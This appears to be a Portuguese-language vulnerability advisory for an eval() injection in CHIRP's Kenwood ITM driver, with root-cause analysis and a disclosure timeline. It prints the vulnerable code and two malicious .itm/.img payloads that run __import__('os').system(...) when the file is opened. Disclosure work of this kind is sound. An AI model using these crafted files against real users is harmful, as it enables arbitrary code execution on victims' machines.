
Exploit de prova de conceito para execução arbitrária de código por meio de injeção via eval() em um aplicativo de programação de rádio amador, incluindo payloads maliciosos de arquivos .itm/.img e análise de causa raiz.
eval() no Driver ITM da KenwoodProduto: CHIRP - Um projeto de código aberto para programar rádios amadores.
Versões Afetadas:
URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
Versões Afetadas: <= chirp-next-20260814
CWE: CWE-95 (Injeção de Eval)
O driver do formato de arquivo ITM da Kenwood do CHIRP passa valores brutos de campos CSV de um arquivo aberto diretamente para a função eval() nativa do Python sem qualquer validação. Um atacante que entregue um arquivo especialmente criado a um usuário do CHIRP consegue execução arbitrária de código com os privilégios do usuário vítima.
chirp/drivers/kenwood_itm.py, _clean_tmode(), linhas 66–67:
def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
Os valores TXSIG e RXSIG vêm diretamente de uma linha CSV do arquivo aberto. Nenhuma verificação de tipo, lista de permissões ou sandboxing é aplicada antes do eval().
Abaixo estão duas PoCs.
.itm Malicioso// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img Malicioso// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img. Se estiver usando o payload .itm, altere o filtro suspenso para "All Files" (ITM não é filtrado no CHIRP).{file_name}.itm.2026-8-17 -- Vulnerabilidade descoberta
2026-8-17 -- E-mail enviado ao mantenedor
2026-8-17 -- Mantenedor respondeu e o código foi corrigido no mesmo dia. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- A versão do instalador 20260821 inclui a correção.
2026-8-22 -- NotCVE-2026-0013 emitido.
2026-8-23 -- CVE-2026-78136 emitido.